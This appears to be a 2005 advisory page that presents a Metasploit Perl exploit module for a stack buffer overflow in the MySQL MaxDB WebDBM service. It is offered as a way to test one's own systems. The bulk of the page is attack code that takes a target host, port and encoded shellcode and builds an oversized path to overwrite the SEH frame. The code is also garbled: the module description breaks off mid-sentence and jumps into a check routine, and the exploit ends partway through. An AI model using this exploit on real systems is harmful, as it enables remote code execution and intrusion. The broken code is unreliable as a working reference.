MySQL MaxDB Webtool "GET" Buffer Overflow (Exploit)
11 May 2005
Summary
As we reported in our previous article: MySQL MaxDB Webtool Buffer Overflow Vulnerability (%, WebDAV, Lock-Token), a vulnerability in MySQL MaxDB allows remote attackers to overflow an internal buffer and cause the program to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by H D Moore.
Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::maxdb_webdbm_get_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the MaxDB WebDBM service.
This service is included with many recent versions of the MaxDB and SAPDB
products. This particular module is capable of exploiting Windows systems
through the use of an SEH frame overwrite. The offset to the SEH frame
may change depending on where MaxDB has been installed, this module assumes
a web root path with the same length as:
$self->PrintLine("[*] SAP/MaxDB WebDBM server was not detected");
return $self->CheckCode('Safe');
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
# Trigger the SEH by writing past the end of the page after
# the SEH is already overwritten. This avoids the other smashed
# pointer exceptions and goes straight to the payload.
my $path = Pex::Text::AlphaNumText(16384);
